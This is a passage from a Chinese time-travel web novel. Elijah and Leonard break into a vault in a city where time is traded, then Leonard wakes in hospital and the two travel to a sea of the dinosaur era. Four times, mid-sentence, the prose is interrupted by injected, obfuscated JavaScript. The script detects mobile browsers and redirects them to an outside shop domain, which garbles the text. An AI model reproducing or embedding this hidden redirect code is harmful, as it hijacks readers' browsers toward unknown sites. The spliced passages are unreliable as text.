以利亚反问:“你是城里人,不也混在这里喝酒浪费时间?” 醉汉笑笑:“我不一样,我只是个行尸走肉,时间对于我来说意义大不相同。”他说着伸手指指自己的脑袋,解释道:“动脉瘤,随时都有可能把我的脑子炸开花,医生说了,不动手术不吃药的话,最多还有三个星期好活。”他举起酒杯,晃了晃杯子里琥珀色的液体:“但谁说我没有灵丹妙药呢?” 莱纳德脱口问道:“你怎么不动手术?” 醉汉朝以利亚挤挤眼睛:“看来,你的这位朋友还没有理解时间在芮内城的运作规律。”他掰着手指说道:“动手术需要付款七百小时,而我的余额最多只剩五百小时,明白了吗?就算我愿意动手术,也捱不到交完钱的那一秒。” 莱纳德说不出话来,果然,在这里时间就是一切。 “如果我没猜错的话,”以利亚对醉汉说,“你不打算把剩下的五百小时都用在消化酒精上面吧?” 醉汉不答反问:“何以见得?” 以利亚耸耸肩:“一意买醉的人不会关心别人在说什么。” 醉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13096002|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉大笑:“你是个聪明人,我喜欢跟聪明人说话。”他低头摆弄着酒杯,用指尖把玻璃杯壁敲得“叮咚”作响,忽然语速飞快地说:“如果我是你,我会去时间储蓄银行瞧一瞧,听说,金库里有一条秘密通道,通向银行大股东的私人藏宝库,你们搞不明白的时间去向,在那里都能找到答案。” 莱纳德问醉汉:“你怎么知道这些的?” “哈,当你的时间所剩无几时,也会不惜一切去弄明白,自己的时间究竟都去哪儿了的,可惜啊,能看清楚的人太少咯。”醉汉嘟囔着,重新趴到桌上,不一会儿鼾声就响了起来。 以利亚和莱纳德对视一眼,不必开口便对各自的想法心领神会—— 不入虎穴,焉得虎子。 两个人回到旅馆换上了黑衣服,为了不引起前台怀疑,干脆直接从阳台窗户翻了出去,幸亏房间在二楼,不算太高,莱纳德鼓起勇气,跟着以利亚跳了下去,对方落地时伸手一扶他,两个人都站稳了。 “希望不需要回来退房。”莱纳德喘了口气。 “哈,我们该担心更糟糕的问题。”以利亚说。 “比如时间储蓄银行的保安配不配枪吗?” “每个保安当然都要配枪,不过别担心,我们要先去另一个地方。”以利亚说,他找到最近的公共电话亭,摸出刚才在酒吧里黑衣人给他的名片,拨通了他的私人号码。 “喂,是费舍经理吗?”以利亚对电话说道,“我们刚刚在解忧酒吧见过。” 电话里传出费舍高兴的声音:“啊,是波芒先生吧?怎么样,考虑好了吗?” “是的,我打算做一笔小小的投资,但希望能够更谨慎一些,考虑到我最近的健康状况,你懂的吧?”以利亚语速很慢,似乎当真在仔细考虑。 “当然,当然。”费舍满口答应,“我的工作就是将这些因素考虑周全,为您提供最优化的方案,我们见面细谈怎么样?您现在方便来银行一趟吗?需要的话我可以去接您,省得银行前台职员们再追着您啰嗦,浪费您的宝贵时间。” “那真是再好不过了。”以利亚报上一个地址,挂断了电话。 莱纳德靠在电话亭外,问以利亚:“你打算怎么办?” 以利亚小心翼翼地从口袋里掏出一支注射器,微笑道:“帮我们的黑衣朋友睡个好觉。” 十分钟后,费舍驱车赶到了约定地点,却没见到他的客户。 当然了,波芒先生绝对不会站在路边浪费时间,费舍心想,一边沿街走了几步,目光搜索着长椅,芮内城里不乏这种设施,方便大家在等人的同时还能坐下来处理工作。 眼角忽然闪过一个黑影,费舍不确定自己看到了什么,但那种不祥的感觉却提前爬上了后脖颈,激得他汗毛根根竖起。那一瞬间,费舍想要大叫着逃开,但一只手从后面用力捂住了他的嘴,紧跟着,某种尖锐的东西刺进了他的脖子,不痛,有种冰冰凉的感觉。 昏死前,费舍最后想到,该死,一定是暗杀平民抢劫时间的土匪,他们会抢走他辛辛苦苦赚来的时间。 这下全完蛋了。 32.第九章:白瑞摩 “这样做真的没问题吗?” 莱纳德压低声音,两个人刚刚大摇大摆走进时间储蓄银行的大门,费舍没吹牛,他的手环权限的确很高,大厅里的销售员甚至不敢上前搭讪,两人毫不费力地穿过业务大厅,以利亚径直走向电梯间,坐电梯来到了负二层停车场。 莱纳德忍不住问:“喂,金库不在这儿吧?” “跟紧我,别说话。”以利亚嘴唇几乎没动,用莱纳德刚刚能听到的声音回答他,莱纳德只好闭上了嘴。 停车场里灯光昏暗,停满了之前在街上见到过的黑色小轿车,每辆车的款式都完全一样,按照车牌号依次排开。以利亚的目光从车前挨个扫过,走到芮A00001号车前,先绕车转了一圈,然后在车前门处蹲了下来,掏出把蓝光小手电一寸一寸地照过车把手。 莱纳德跟在旁边,完全一头雾水,他忽然听到以利亚发出兴奋的吸气声,同时把小手电递给莱纳德,示意他保持角度举好,自己掏出一小截透明胶条,小心翼翼地从车把手上拓下了什么。 站直身子,以利亚冲莱纳德摆了摆手,两个人迅速返回电梯,按下了23层的按钮。 金库就在这一层。 费舍只是银行经理,不可能有打开金库的权限,后来以利亚告诉莱纳德,金库作为时间储蓄银行的重要基地,也无法使用手环开启,而是依靠生物识别,比如指纹。 莱纳德眼看着以利亚矮身躲开金库大门一侧的虹膜扫描识别,摸到另一侧的指纹识别区,把透明胶带贴上去,只听“滴”的一声,头顶忽然传下电子提示音:“晚上好,汤普森先生,请输入今日口令,倒计时十、九、八……。”不等莱纳德发慌,以利亚便从容不迫地在密码盘上输入了一连串数字。 金库大门发出令人愉快的“滴”声,电子音变得更加彬彬有礼:“请进。” 两人一起走进金库。 莱纳德只在电影里见过银行金库,堆成小山钞票往往都跟劫匪同时出现,而时间储蓄银行里存储的显然不是现金,莱纳德看着金库里排列整齐的储物架,以及架子上的方盒子,心想,他们怎么存储虚无缥缈的时间呢? 但比起时间的存储方法,现在更重要的任务是找到金库密道,查出其中究竟藏了什么。 两人走过储物架,架子按照字母A到Z排列,每个盒子都正好对应架子上的一个标签,莱纳德挨个看过去,发现标签上的字全都不知所云:阿波尔、阿拉菲尔、奥尔本斯、奥克…… 莱纳德伸手扯了扯以利亚的衣袖,低声问:“密道在那里?” 以利亚不答反问:“想想看,如果你要在储存时间的地方藏一条地道,你会把它开在哪里呢?” “我怎么知道,未来?过去?”莱纳德胡猜一通,被以利亚嘘了一声,悻悻地闭上了嘴,后者忽然伸手抓住其中一个方盒子,朝右一扭,伴随着生锈的“咔嗤”声,盒盖不情愿似的向外滑开了,以利亚脸上露出满意的表情,伸手探进盒子,取出一样东西,揣进口袋。 “喂,别搞那么神秘好不好?”莱纳德小声抗议。 以利亚笑笑,又把东西从口袋里掏出来给莱纳德看,一把金色小钥匙躺在他掌心,除了钥匙柄设计成了两根钟表指针的模样,似乎没什么特别之处。 “这是什么?” “密道钥匙。” “你怎么知道钥匙在这儿?” “标签上写了,喏,过来看。”以利亚伸手指了指盒子,但标签上“古特雷亚”的字样看到莱纳德更加云里雾里,以利亚在他耳边轻声解释道:“这也是旧联盟语,你看不懂也正常。” 莱纳德用胳膊肘狠狠撞他一下,咬牙道:“真是谢谢你了!” “好了,不闹了,快走吧。”以利亚摆摆手,大步向金库尽头走去,那面墙上挂着一块巨大的钟表,在寂静中发出“滴滴答答”的微弱声响,可表盘上却并没有指针。 以利亚用两根手指捏住金钥匙,观察钥匙柄两枚指针形成的角度,然后小心翼翼地把它按进了表盘正中央,轻轻一推,“滴答”的走针声忽然停止了。 一片寂静中,莱纳德下意识屏住呼吸,只见巨大的表盘悄无声息地翻转,露出了一扇门。 “嘿,大功告成!”以利亚低声欢呼,他握住门把手,却没有立刻动作,似乎也为即将到来的时刻而感到紧张。“准备好了吗?”以利亚回头看向莱纳德,后者深呼吸几下,点了点头。 随着门把手转动,音乐声霎时间从门缝里倾斜而出,是留声机在播放的交响乐——莫扎特的《后宫诱逃》序曲,正演奏到第三小节。 以利亚把门推开,藏宝库便展现在了两人眼前,莱纳德瞪大眼睛,他没有看到法老王和女沙皇的金权杖,也没看到珠光宝气的王冠,除了播放莫扎特的老旧留声机之外,宝库里唯一值钱的似乎只有一张很宽大、椅背很高的老式扶手,朝他们的椅背露出了残破的丝绒衬垫,后面的墙上挂着一幅达利的油画,《永恒的记忆》。 这些都是莱纳德后来才观察到的,此时此刻,他只看到一样东西—— 骷髅头,大大小小、颜色深浅不一的骷髅头,满满当当地摆在置物架上、长桌上、角落里,甚至像风铃那样挂在天花板上,不知道是不是莱纳德的错觉,尽管没有一丝风,那些骷髅却似乎发出了令人毛骨悚然的磋磨声。 “莱尼?”以利亚轻声叫他,在欢快的交响乐声和瘆人的骷髅磨牙声里用力握住莱纳德的手,又松开。 “嗯。”莱纳德只发出一个音节,他知道这就足够了。 “果然,钓大鱼要用大饵。”一个低沉的女声响起来,丝绒衬垫的椅背忽然翻转过来,露出了坐在扶手椅里的人,高大、瘦削、苍白,黑色西装精良考究,样式大气,非常符合时空联盟调查局局长的身份,白瑞摩。 莱纳德倒吸了一口凉气,他再次想起白皇后,同时涌起的还有一股强烈的直觉,一股酥酥麻麻的感觉在他指尖游动,仿佛在提醒他接下来该做什么。 他只需要…… “好久不见,以利亚。”白瑞摩笑得很愉快,她有足够的理由笑,也有足够的理由感到愉快,“哦,还有我们亲爱的莱纳德·杜弗伦,老实说,如果没有你的配合,我还在发愁怎么才能把这条老狐狸引来呢。”她冲莱纳德空手做了个脱帽的动作:“请允许我代表时空联盟调查局向你表示感谢,杜弗伦先生,你是我们的功臣。” 莱纳德皱起眉:“我不知道你在胡说些什么。” “白局长,没想到在这里见到你。”以利亚淡淡道,完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113669|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全不为白瑞摩挑拨离间的话术所动。 “是吗?我可早就在等着你了。”白瑞摩翘起二郎腿,她手里抱着一颗骷髅头,就像对待宠物猫那样轻轻爱抚着它,“咯咯”的骨头磋磨声在她耳朵里听来就像是猫咪的咕噜声那样惹人怜爱,“不过,我还是很佩服阁下的勇气,就这么空手闯进来。” 她用嘲讽的目光盯着以利亚:“当然,你早就知道武力反抗没有意义了。” “对于像阁下这种身居时间联盟高位,却公然以权谋私,利用时间银行中饱私囊的厚颜无耻之徒。”以利亚反唇相讥,“我当然早就知道,一般武器根本穿不透你的脸皮。” 白瑞摩嗤笑:“以权谋私?中饱私囊?”她用指尖轻轻叩击着手里的骷髅头,“我不过是善于利用死人的时间,而你呢?你驾驶着你那艘可悲的小飞船,在宇宙里横行妄为,任意篡改时间线,破坏时空平衡,我们两个,究竟谁才厚颜无耻呢?” 随着她的话音,屋里的骷髅头忽然间齐刷刷朝以利亚转了过来,一齐叩动牙齿,发出阴森的窃窃私语,仿佛在回应白瑞摩的问话。 ——是你,是你,是你。 以利亚恍若未闻,冷冷道:“死人的时间?别开玩笑了,你用所谓的‘时间投资’欺骗芮内城的居民,引诱他们签订合同把时间卖给你,再靠暗杀和毁尸灭迹将这些可怜人的生存时间据为己有。” 他环顾藏宝库,打了个响指,原本冲着他的骷髅头忽然一齐转向白瑞摩,用空洞的眼窝瞪着她,磨牙声也立刻响了一倍,白瑞摩虽然维持表情没变,但肩膀一颤,显然被吓了一跳。 以利亚冷笑:“你以为它们是在给你壮声势吗?白瑞摩,你真该听听它们在说什么。” “当然了,我听不懂。”白瑞摩从扶手椅里站起来,绕过办公桌,朝以利亚走过去,她没有注意到一旁的莱纳德正挪动脚步,小心翼翼地绕开她的视线,那对冷酷的浅色瞳孔只紧紧盯着以利亚一个人。 “你听得懂,对吗?”白瑞摩嘴角勾起残忍的微笑,一字字道:“你这个受诅咒的人。” 以利亚又说了什么,但莱纳德没有去听,白瑞摩走到以利亚面前的那一瞬,他突然朝那张宽大的办公桌猛扑了过去,白瑞摩刚刚放下的骷髅头正用空洞洞的眼睛瞪着他,嘴巴张开,露出两排崎岖的牙齿。 骷髅头冲他狞笑着,莱纳德发誓自己听到了它满含威胁的声音——生死有命,没有人能欺骗死神。 但此时此刻,就算它高唱“哈利路亚”也没用,没有任何事能阻止得了他。 莱纳德感到自己的手指戳进空洞,死死扣住了骷髅头,电光火石间,他根本来不及思考这其中的逻辑,甚至直到很久之后,他都不知道自己是怎么做出这个惊人判断的。 但事实证明,这个判断是正确的。 白瑞摩在莱纳德身后歇斯底里地尖叫起来:“你敢!我要杀了你!”她的右手五指尖锐如刀刃,狠狠朝莱纳德的脖子抓了过去。 来不及格挡,莱纳德甚至来不及闪过格挡的念头,他转过身,不顾自己把后脖子完完全全暴露在了白瑞摩的利爪之下,用尽全力把骷髅头朝以利亚扔了过去。 以利亚是为它而来的。 而他是为以利亚来的,一直都是。 33.第一章:旧友 醒来时,莱纳德只觉得头疼欲裂,浑身上下的骨头缝都在尖叫抗议,他睁开眼睛,模模糊糊看到床边坐着个人,脱口喊道:“以利亚!” “傻莱尼,”可那人回答的声音出乎意料的苍老,完全不像以利亚,却又熟悉得很,“你叫谁呢?” 莱纳德呆愣了一瞬,心脏忽然狂跳起来:“爷爷?”他揉揉眼睛,看着身上盖着的雪白的被单,眼前雪白的墙壁,自己身上蓝白相间的病号服,还有坐在他眼前的老人,的的确确是老肖恩没错。 “不然还能有谁?”老肖恩哼道,但还是凑过来摸了摸莱纳德的额头,然后在上面拍了一巴掌,“算你小子福大命大,下那么大雨还开车,以为自己是谁,孤胆车神?” “不是我开的车,嘶……”莱纳德揉着太阳穴,睡梦残留的迷糊劲飞快散去,记忆仿佛一块沉在水底的巨石,随着水退去逐渐显露,紧随其后的是擂鼓似的心慌,“佩吉呢?她没事吧?” “谁是佩吉?”老肖恩眯起眼睛。 莱纳德不由得张口结舌,有一瞬间,他想大喊大叫,告诉老肖恩“佩吉·杜弗伦是你孙女”,但老肖恩脸上的表情让他退缩了。 “佩吉是你同学?还有你刚才说的什么来着,以莱莎?”老肖恩追问。 “额……”莱纳德实在不知道该如何作答,他觉得自己想吐,同时怀疑老肖恩没法及时把塑料袋和毛巾举到他嘴边。 幸好这时病房门被敲响了,医生推门进来,温声道:“病人醒了,感觉怎么样?” 莱纳德抬起目光,想要呕吐的感觉立刻消失了,声音却仿佛变成了冷掉的面糊,凝成一团堵在喉咙里。 老肖恩站起来:“你是哪位?盖勒医生呢?” “盖勒医生跟我换班了,他特地嘱咐我来看看18床,莱纳德·杜弗伦,对吧?” 白大褂走到莱纳德床边,完全忘了做自我介绍,径直给莱纳德做起了检查,一边问道:“你什么时候醒来的?现在感觉怎么样?头晕吗?” 莱纳德机械地回答着,完全不记得自己说了什么,他瞪着白大褂,用尽全力才克制住大喊的冲动——以利亚!眼前的医生是以利亚! 白大褂做完检查,满意地点点头,宣布莱纳德恢复得很不错,又劝老肖恩回家休息:“今晚我值夜班,放心吧,我会多照看你孙子的。”花言巧语把老头哄出了病房。 病房门一关,莱纳德立刻叫道:“以利亚!你怎么才来?这是怎么回事?我们刚才不是在芮内城吗?白瑞摩呢?” 白大褂转过身,微笑道:“你记得我?” “当然记得。”莱纳德被以利亚的反应泼了盆冷水,垂下眼皮,嘟囔道,“难不成还会再失忆一次?” “哈哈,记得就好。”以利亚似乎精神一振,他回到莱纳德床边,坐下来,拍拍莱纳德身上的被子,灰眼睛里满含笑意:“快问吧,我知道你至少有八十个问题要问,再不问就憋坏了。” “以利亚,”问题太多,莱纳德反而语塞,半天才问,“你接到了吧?那颗骷髅头。” “当然。” “白瑞摩被绳之以法了?” “这个嘛,”以利亚用食指和拇指比了个距离,“还差那么一点点。” “那骷髅头到底是什么?” 以利亚目光闪动,没有立刻回答,但他还是回答了:“那是我的。” “你的?”莱纳德忽然一下子明白过来,以利亚指得并不是骷髅头属于他,而是“他的头骨”。想吐的感觉又回来了,莱纳德听到自己问:“怎么会?” “每个人的衣橱里都有一具骷髅。”以利亚耸耸肩,语气轻松,“只不过我的被一个疯子偷走了。” 莱纳德点点头,识趣地不再追问,每个人都有属于自己的秘密,他不是那种喜欢刺探得人,更重要的是,他们都安全回到了自己本该在的地方……莱纳德的太阳穴忽然刺痛了一下,脑袋里有个声音在提醒他,不是的,并不是所有人都回来了。 “佩吉呢?”莱纳德问以利亚,“我姐姐在哪儿?” 他吸了口气,颤声道:“我爷爷刚才问我佩吉是不是我同学,他不记得佩吉了,我不觉得他是在开玩笑。” 那一点都不好笑。 以利亚的灰眼睛变得更深,他专注地看着莱纳德,说:“抱歉,莱尼,我尝试过很多办法来找她,但所有的搜寻结果都显示,你从来没有姐姐。” “怎么可能?”莱纳德愕然,惊疑像是一根冰柱,从他的喉咙滑入了心脏,他听到自己尖锐刺耳的吸气声,“我明明记得她!” “理论上讲,佩吉·杜弗伦从未存在过。” 以利亚竖起双手挡在身前:“嘿,冷静点,先别急着反驳我,我的意思是还有另一种可能,她的存在被抹杀了。” “听着,时空联盟调查局做得到,这一点你知道,我们只是需要挖得再深一点。”他看着莱纳德,目光深沉,“可你本来不应该记得她的,莱尼,时间线固定得很完美,你甚至不应该记得我。” 他又叹了口气,用手指捏了捏眉心:“不瞒你说,还有很多地方我都想不通。” “比如呢?” “比如,”以利亚古怪地笑了笑,“你告诉过我,你小时候的外号叫什么来着?” 莱纳德皱眉:“四眼莱尼,怎么了?” 以利亚伸手在莱纳德眼前的位置虚点了一下:“所以,你的眼镜呢?莱尼,为什么我从来没见过你戴眼镜?” 莱纳德张开嘴,愣在那里,对啊,他的眼镜呢? 他从小就近视,四眼莱尼的外号可不是白来的,从小到大,他戴过的眼镜数也数不清,每换一次,度数都更深,佩吉嘲笑过他的成人礼上将需要一条导盲犬。 但他没有做过视力矫正手术,直到上大学都没有,这一点确信无疑,他还记得自己对着宿舍镜子刷牙的样子,一副黑框眼镜,让所有人看他第一眼就会自动把他归到“宅男”一类里。 而此时此刻,莱纳德能清清楚楚地看到以利亚的每一根睫毛,他不需要眼镜。 “怎么会这样?”莱纳德呻吟一声,抱住脑袋,“所有的事情都对不上号,我不知道……” 他用力搓了搓脸,看着以利亚的眼睛,问:“是我疯了吗?” “我有个更好的解释。”以利亚说。 莱纳德苦笑:“说吧,任何解释对我来说都是更好的解释。” 以利亚朝莱纳德伸出手:“跟我走,继续我们的旅行,真相就在外面。” 旅行? 莱纳德的心砰砰跳了起来,和以利亚旅行是他做过的最不可思议的事,比他二十多年的经历加到一起还精彩,尽管大部分都被忘记了,但他身体的每一个细胞都记得。 而现在,以利亚是在邀请他,他居然在邀请他! “好吧,穆德探员 。”莱纳德嘟囔着,握住以利亚的手,“如果真相就在外面的话。” 以利亚眼睛里闪过温暖的笑意,他用力把莱纳德拉起来:“对了,我有没有告诉过你,我拥有全宇宙最酷的飞船?” 以利亚没说错,当莱纳德跨过传送门,看到的场景实在是他生平仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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莱纳德的心砰砰跳了起来,他深吸一口气,小心翼翼地把操纵杆按照“之”字拉动了一遍,操纵杆非常丝滑,没发出任何声音,莱纳德屏住呼吸,等待着价值连城的宝贝现身。 忽然,主控台的中央悄无声息地陷下去一块,又很快升起来,上面托着一个散发着柔和荧光的球体。 “这是……什么?”莱纳德盯着光球,他发现自己无法把目光从球体上挪开,它实在太漂亮了,荧光仿佛是从球的核心深处散发出来,不断闪动变幻,炫目而神秘,让人心为之折。 眼前忽然多了一只手,遮住了莱纳德的视线,以利亚的声音在耳旁响起:“可不能盯着看太久哦。” 莱纳德眨了眨眼睛,才发现有眼泪顺着眼角淌下来,却并不是因为光亮太刺目,相反,白球的荧光非常柔和,看着很舒服——也许就是太舒服了,才会让人流泪。 以利亚伸手按了某个按钮,光球便从主控台沉了下去,他说:“这是飞船的动力源,一颗正在燃烧的恒星。” “恒星?这怎么可能?”就算只接受过地球知识教育,莱纳德也知道恒星有多大,以利亚听了笑起来:“宇宙很大,总有一些聪明人能想出办法,你知道的,把恒星装进玻璃球里。” “怎么装?” “你见过装在瓶子里的木头船吧?” “你不会想说,这两个东西是一回事吧?” “当然不是,完全不一样。”以利亚就像在给幼儿园孩子讲高等数学的老教授,本来也没打算讲清楚,不负责任道,“但是你可以这么理解。” 他的笑容有些得意,也有些神秘:“有了它,我们可以去到任何想去的地方,任何地点,任何时间。” “准备好了吗?” 34.第二章:看海 海平线,落日。 晚霞像是被人不小心泼了一碗在海天交界处,把云染得层层叠叠,太阳迟迟不愿落下,仿佛一只孤独的巨眼,留恋又温柔地望着大海。 莱纳德在岩石上伸展双腿,海风微凉,吹得他很是惬意,屁股底下的岩石嶙峋坚硬,无数碎石子想要穿透衣料,但他不能不承认,在高出海面近百尺的岩礁上看日落,的确别有一番滋味。 “你说要去海边野餐的时候,我还以为是沙滩,喝杯冰镇果汁,再抓抓螃蟹什么的。” “嗯哼,总不能每回都这么平淡。”以利亚靠在莱纳德旁边,两条长腿垂下岩壁,以高难度的姿势半坐半躺,语气悠闲,“但你要是坚持,我们也可以去那边的沙滩上待一会儿。” 这块岩礁表面积实在不大,两个人坐在上面刚刚好,海风吹过来都无处落脚,莱纳德小心翼翼地换了个姿势,看着以利亚被落日映红的侧脸:“不了,我还能再坐一会儿。”他又问:“现在可以告诉我这是哪儿了吗?银河系还是冯孟星系?现代还是未来?” 以利亚回答:“地球。” “地球?”莱纳德坐直身子,碎石立刻沙沙地从岩壁滚下去,落进海里,他扭头四处张望,却没看到一丝人烟。“你知道地球上每一块大陆的海岸线都被人类瓜分了吧?除非在公海,随便哪块礁石都是他们的领土,万一被发现,搞不好会被巡航舰直接灭口的。” 以利亚哈哈大笑:“别紧张,我特意算好了时间,不会有意外的。” “这可是你说的。”莱纳德喃喃道,他在眉毛上搭个凉棚,眺望远处夕阳下成群结队的海鸥,那些大鸟生着长长的喙,看起来就像刺刀似的,和头顶的尖角相映成趣。 “以利亚,”莱纳德眯起眼睛,“为什么海鸥头上会长角?” “因为那不是海鸥,”以利亚微笑,“那是曲冠翼龙。” “什……”莱纳德吸了口气,冷静几秒钟,问,“曲冠翼龙,恐龙的那个翼龙?” “对,你要是感兴趣,等它们飞近一点会看得更清楚。”以利亚说道,远处,翼龙们正以相当快的速度向海岸边滑翔,姿态矫健而优雅,它们的翅膀薄而韧,向两边伸展着,从前爪一直延伸到脚踝。 “拜托,等它们飞近一点,难道不会想把咱们当成晚饭吞下肚?”莱纳德瞪着翼龙迅速变大的身影,心砰砰直跳,他怎么会把翼龙当成海鸥? 以利亚很淡定地回答:“曲冠翼龙一般在白天觅食,它们的夜间视力很差,所以必须赶在太阳落山前回到沙滩或者崖壁上休息,除非饿极了,不然不会注意到咱们这么小的猎物的,还不够它们塞牙缝。” 莱纳德眼看着几只翼龙忽然改变了滑行方向,朝他们坐着的这块岩礁冲了过来,忍不住反驳:“你就没有过那种吃饱了还想嗑几颗瓜子的时候吗?”以利亚撑着岩石站起来,一把拉起莱纳德:“嘘,别乌鸦嘴。”他目光锐利地盯着那些翼龙,表情凝重起来:“不太对头。” 话音未落,翼龙发出悠长嘹亮的鸣叫,势头勇猛地朝两人冲过来,脑袋大得跟身子简直不成比例,以利亚侧身挡在莱纳德前面,曲臂格挡,同时大叫着企图喝退它:“嘿!嘿!”翼龙的长喙没能戳中两人,立刻一拍翅膀,向后拉开一段距离,抬起头准备发起下一次攻击。 另外两只翼龙也即将赶到战场,以利亚反手丢给莱纳德一枚压缩纳米潜水服,大声道:“准备跳!” 莱纳德刚把压缩装置戴好,以利亚就抓住他跳下了岩石,身后,翼龙的叫声正飞快地变得遥远,海风呼啸着灌进耳朵,莱纳德刚刚来得及曲起胳膊挡住脑袋,就“砰”的一声,撞进了漆黑的海水里。 莱纳德眼前一黑,幸好潜水服内置有缓冲器,再加上以利亚跳水的位置计算得当,两个人落进了深水里,不然一头撞到暗礁上,肯定当场脑袋开花。 以利亚用胳膊揽住莱纳德的腰,踩水带他浮出水面,空中,那几只翼龙仍绕着岩石盘旋,叫声高亢,但终于还是掉转方向飞走了。 “不跳水就白来海边了,是吧?”莱纳德捏住潜水头盔上的海草,反手抽了以利亚一下,以利亚笑着躲开:“小概率事件,难免要发生一次的嘛,这就是我们为什么要随身携带压缩潜水服……” 莱纳德截口道:“反而不带三明治和树莓果酱,还告诉我是野餐。”他摆脱以利亚的手臂向岩礁游过去,伸手抚上湿漉漉的岩壁,岩石早就被海水日夜打磨得滑不留手,徒手爬上去绝对是天方夜谭,“除非你还带了登山靴和鹤嘴镐,以利亚,不然别说你准备万全。”莱纳德又抬头看了看远处的海岸线,真棒,即便头顶没有虎视眈眈的翼龙,游过去也很难不手脚抽筋。 “有想法了吗?跳水王子,咱们怎么上岸?总不能一直泡着吧。” “你体力怎么样?” “不怎么样。” “游回去恐怕不太现实,你看,那些翼龙表现得有点不正常。”以利亚望向海岸,曲冠翼龙刚刚在沙滩上着陆,却并没有像以利亚之前说的那样整顿休息,反而纷纷昂起头,姿势奇异地沙滩上奔跑、跳跃。 “巡视领地?”莱纳德猜测,借着还没完全隐没的夕阳,他看到沙滩上翼龙们四肢着地行走,高昂着诡计之神洛基的同款头冠,派头十足,长长的前肢折叠在身体两侧,仿佛反握着两柄细剑的武士,又好像是随时能跳起一支弗拉明戈舞。 他又猜:“发情期求偶?” “不知道。”以利亚喃喃道,他踩着水往外游出去一截,又原地转了一圈,示意莱纳德不要跟过来,说道:“这地方不太……”他整个人忽然往下一沉,像是海水里有什么东西在把他用力往下拽似的,甚至来不及拍水,就倏地被海水吞没了。 “以利亚!” 莱纳德奋力游过去,却连以利亚的衣角都没能捞住,他跟着闷头沉下水去,心里冒出许多不祥的想法,这可是恐龙时代,万一是头沧龙呢?虽然莱纳德不觉得沧龙一口下去能精准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137973|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地拖走以利亚而留下他,但以他对白垩纪那点浅薄的了解,海里多得是乐意吃他们的怪物。 除了漆黑的海水,眼前什么都没有,莱纳德摸索着打开潜水服上的探照灯,照亮了身前不足六尺的水域,一些个头不大的彩色鱼类受惊似的纷纷逃开,躲到了珊瑚丛里,还有几只海螺笨拙地吐出一串泡泡,徒劳地想把自己推远。 没有沧龙,连条小鲨鱼都看不到。 以利亚就这么凭空消失了。 莱纳德拍水浮出水面,太阳彻底沉到了海平面以下,留了几点零星的粼光,随着潮水起伏,天光稀薄得好像拿一块海绵就能擦得干干净净。 即便是隔着自动调节温度的潜水服,莱纳德也能感受到,海水的温度正在飞快下降。 最糟糕的是,他还没有找到以利亚。 该怎么办?莱纳德惶然四顾,脚下忘记踩水,立刻被一个浪头拍进了水里,幸好有氧气面罩,没让他呛水,莱纳德挥动手臂让自己恢复平衡,发现水里忽然多了几个淡蓝色的荧光球,他定睛看去,那些荧光球闪烁着,从四五个变成了八九个,又增加到十几个。 它们好像在召唤他,莱纳德冒出这个念头时,身体已经自作主张地往荧光球的方向游去,那团不断膨胀又收缩的蓝色荧光在他即将靠近时忽地灭掉,捉迷藏似的,很快又在另一个离他不远的地方再次亮起,跟刚才一样,从零星几个逐渐变多。 莱纳德追逐着荧光,一路向下,他隐约记起海水压力的问题,也许潜水服能够调节压力,也许不能,但他来不及思考。 荧光球将他引向海底深渊。 那是一道漆黑、巨大的裂口,深不见底,仿佛洋底板块是沉睡巨人的眼皮,而现在它忽然决定要睁开眼睛了。 荧光球纷纷钻进深渊,蓝色光芒在黑暗中显得更亮、更美,莱纳德这才看清楚,它们并不是“球”,而是像水母那样的软体动物,身后背着蜗牛似的壳。他只犹豫了几秒,就全力往下扎去,跟荧光球一起沉进了深渊。 不知游了多久,荧光逐渐变得微弱,四周则明亮起来。 莱纳德发现两侧的渊壁不见了,眼前水域宽阔,无数闪烁着荧光的美丽生物在他身边游动,海底岩礁覆盖着颜色鲜艳的苔藓,构成奇异的图案。 但这一切景象带给他的震撼,都远远不及那座矗立在海水中的白色宫殿来得强烈。 比滑翔机还大的翼龙可以是真的,会指路的荧光海螺可以是真的,把落水之人拖到异次元的怪物可以是真的……跟以利亚一起旅游之后,莱纳德对很多离奇事物都能够平静接受,至少,能在尖叫后努力接受。 但那不包括在深渊之下的海底世界建造一栋由白贝壳做墙壁、海螺壳做塔顶的宫殿。 